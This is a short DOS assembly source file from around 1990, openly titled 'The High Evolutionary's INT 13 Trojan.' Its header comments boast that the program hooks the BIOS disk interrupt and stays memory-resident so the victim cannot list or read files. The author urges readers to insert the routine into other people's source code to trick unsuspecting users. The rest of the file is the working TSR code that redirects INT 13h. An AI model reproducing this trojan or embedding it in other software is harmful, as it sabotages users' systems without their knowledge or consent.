;*****************************************************************************
;                      The High Evolutionary's INT 13 Trojan
;*****************************************************************************
;
; Development Notes:
; (Dec.1O.9O)
;
; Well, I was screwing around with TSR's the other day and I got the idea,
; "Hmm. I wonder what would happen if you negated INT 13..." This trojan/TSR
; program answers my query.
;
; It's really a big mess. You can't access any file on the directory, you can't
; DIR anything, can't TYPE anything, I think the only thing you can do is
; DEL which is handled by INT 21.
;
; Well, in any event, put this routine in any nifty source code you see and
; then compile it... It will confuse the fuck out of any 100% "Lame" user.
;
; Have fun...
;
;   -= The High Evolutionary =-
;
;*****************************************************************************
;	       Copyright (C) 199O by The RABID Nat'nl Development Corp.
;*****************************************************************************

	code segment
	assume cs:code,ds:code
	org 100h

start: 	jmp	init_vectors

	mesg	db	'INT 13 Trojan by The High Evolutionary'
	crud	db	'(C) 199O by RABID Nat''nl Development Corp.'
	crap	dd	?

program	proc	far

	assume cs:code,ds:nothing

	mov	ax,4c00h		; Terminate Program with exit code 00
	int	21h			; Call DOS

program endp

;
; The TSR initialization shit happens here...
;

init_vectors proc near	

	assume cs:code,ds:code

	mov	ah,35h			; ask for int vector
	mov	al,13h			; intercept INT 13
	int	21h			; Call DOS
	mov	word ptr crap,bx	
	mov	word ptr crap[2],es
	mov	ah,25h			; set int value
	mov	al,13h			; set for INT 13
	mov	dx,offset program	; Tell the TSR what to do when accessed
	int	21h			; Call DOS
	mov	dx,offset init_vectors	; Load in this segment into DX
	int	27h			; Make the sucker in DX TSR...

init_vectors endp

	code ends
end start

